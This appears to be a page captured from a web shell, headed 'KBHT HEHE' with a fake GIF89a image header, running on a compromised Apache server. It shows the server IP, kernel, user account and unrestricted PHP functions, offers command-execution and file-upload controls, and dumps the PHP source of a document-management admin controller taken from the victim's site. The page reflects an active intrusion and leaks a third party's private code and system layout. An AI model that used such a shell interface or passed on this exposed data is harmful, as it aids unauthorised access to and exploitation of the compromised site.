GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.135.206.229
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/Document.php
<?php

/**
 * Controller class for handling all requests related to documents.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Document extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/DocumentManagement');
        $this->load->model('admin/CourseManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allDocuments'] = $this->DocumentManagement->getAllDocuments()->result();
            $this->load->view('admin/documents', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createDocument() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/createDocument');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewDocument() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('docName', 'Document Name', 'trim|required', array('required' => 'Document Name Can Not Be Blank.'));
            $this->form_validation->set_rules('docFlag', 'Document Flag', 'trim|required', array('required' => 'Document Flag Can Not Be Blank.'));
            $this->form_validation->set_rules('docRelatedTo', 'Document Related To', 'trim|required', array('required' => 'Document Related To Should Be Selected.'));
//            $queryByDocumentName = $this->DocumentManagement->getDocumentByName(trim($this->input->post('docName')));
//            $docInfoByName = $queryByDocumentName->result();
            $queryByDocumentFlag = $this->DocumentManagement->getDocumentByFlag(trim($this->input->post('docFlag')));
            $docInfoByFlag = $queryByDocumentFlag->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createDocument();
            }
//           else if (sizeof($docInfoByName)) {
//                $this->session->set_flashdata('errorMessage', "A Document With This Name Already Exits. Please choose A Different Name.");
//                $this->createDocument();
            else if (sizeof($docInfoByFlag)) {
                $this->session->set_flashdata('errorMessage', "A Document With This Flag Already Exits. Please choose A Different Title/Abbrevation.");
                $this->createDocument();
            } else {
                $newDocumentInfo = array(
                    'doc_name' => addslashes(trim($this->input->post('docName'))),
                    'doc_flag' => addslashes(trim($this->input->post('docFlag'))),
                    'doc_related_to' => $this->input->post('docRelatedTo'),
                    'doc_description' => (trim($this->input->post('docDescription')) == "") ? "NA" : addslashes(trim($this->input->post('docDescription'))),
                    'doc_added_on' => date("Y-m-d H:i:s"),
                    'doc_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'doc_updated_on' => date("Y-m-d H:i:s"),
                    'doc_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->DocumentManagement->createNewDocument($newDocumentInfo)) {
                    $this->session->set_flashdata('successMessage', 'Document Created Successfully.');
                    redirect("admin/Document");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Document. Try Later.');
                    redirect("admin/Document");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editDocument($doc_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['docInfo'] = $this->DocumentManagement->getDocumentBy($doc_id)->result()[0];
            $this->load->view('admin/editDocument', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateDocument() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $doc_id = $this->input->post('docId');
            $this->form_validation->set_rules('docName', 'Document Name', 'trim|required', array('required' => 'Document Name Can Not Be Blank.'));
            $this->form_validation->set_rules('docFlag', 'Document Flag', 'trim|required', array('required' => 'Document Flag Can Not Be Blank.'));
            $this->form_validation->set_rules('docRelatedTo', 'Document Related To', 'trim|required', array('required' => 'Document Related To Should Be Selected.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editDocument($doc_id);
            } 
//            else if (!$this->DocumentManagement->isDocumentNameSafeUpdate($doc_id, trim($this->input->post('docName')))) {
//                $this->session->set_flashdata('errorMessage', "A Document With This Name (" . trim($this->input->post('docName')) . ") Already Exits. Please choose A Different Name.");
//                $this->editDocument($doc_id);
//            } 
            else if (!$this->DocumentManagement->isDocumentFlagSafeUpdate($doc_id, trim($this->input->post('docFlag')))) {
                $this->session->set_flashdata('errorMessage', "A Document With This Flag (" . trim($this->input->post('docFlag')) . ") Already Exits. Please choose A Different Title/Abbrevation.");
                $this->editDocument($doc_id);
            } else {
                $documentInfo = array(
                    'doc_id' => $doc_id,
                    'doc_name' => addslashes(trim($this->input->post('docName'))),
                    'doc_flag' => addslashes(trim($this->input->post('docFlag'))),
                    'doc_related_to' => $this->input->post('docRelatedTo'),
                    'doc_description' => (trim($this->input->post('docDescription')) == "") ? "NA" : addslashes(trim($this->input->post('docDescription'))),
                    'doc_updated_on' => date("Y-m-d H:i:s"),
                    'doc_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->DocumentManagement->updateDocumentInfo($documentInfo)) {
                    $this->session->set_flashdata('successMessage', 'Document Updated Successfully.');
                    redirect("admin/Document");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Document. Try Later.');
                    redirect("admin/Document");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleDocumentStatus($doc_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $documentUpdateData = array(
                'doc_id' => $doc_id,
                'doc_updated_on' => date("Y-m-d H:i:s"),
                'doc_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'doc_active_status' => $toUpdateStatus
            );
            if ($this->DocumentManagement->updateDocumentInfo($documentUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Document Status Updated Successfully.');
                redirect("admin/Document");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Document Status. Try Later.');
                redirect("admin/Document");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteDocument($doc_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $documentUpdateData = array(
                'doc_id' => $doc_id,
                'doc_updated_on' => date("Y-m-d H:i:s"),
                'doc_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'doc_delete_status' => 'T'
            );
            if ($this->DocumentManagement->updateDocumentInfo($documentUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Document Deleted Successfully.');
                redirect("admin/Document");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Document. Try Later.');
                redirect("admin/Document");
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteDocument($doc_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $designationUpdateData = array(
                'doc_id' => $doc_id,
                'doc_updated_on' => date("Y-m-d H:i:s"),
                'doc_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'doc_delete_status' => 'F'
            );
            if ($this->DocumentManagement->updateDocumentInfo($designationUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Document Recovered Successfully.');
                redirect("admin/Document");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Document. Try Later.');
                redirect("admin/Document");
            }
        } else {
            redirect("admin/");
        }
    }

    public function getAllDocumentsByCourseCategory() {
        $course_id = $_POST['course_id'];
        $courseInfo = $this->CourseManagement->getCoursesBy($course_id)->result()[0];
        $query = $this->DocumentManagement->getAllDocumentsUptoCategory($courseInfo->course_category);
        $documentsList = $query->result();
        if (sizeof($documentsList)) {
            $docs = array();
            for ($i = 0; $i < sizeof($documentsList); $i++) {
                $thisDocument = array(
                    'doc_id' => $documentsList[$i]->doc_id,
                    'doc_name' => ($documentsList[$i]->doc_name == "" || $documentsList[$i]->doc_name == NULl) ? "" : $documentsList[$i]->doc_name,
                    'doc_related_to' => ($documentsList[$i]->doc_related_to == "" || $documentsList[$i]->doc_related_to == NULl) ? "" : $documentsList[$i]->doc_related_to,
                    'doc_description' => ($documentsList[$i]->doc_description == "" || $documentsList[$i]->doc_description == NULl) ? "" : $documentsList[$i]->doc_description,
                    'doc_type_flag' => $documentsList[$i]->doc_flag,
                );
                array_push($docs, $thisDocument);
            }
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'docs_found' => 1,
                'doc_list' => $docs,
                'message' => 'Documents Available!'
            );
        } else {
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'docs_found' => 0,
                'doc_list' => array(),
                'message' => 'Sorry! No Documents Available For This Course Category!'
            );
        }
        echo json_encode($responseData);
    }

}

KBHT - 2023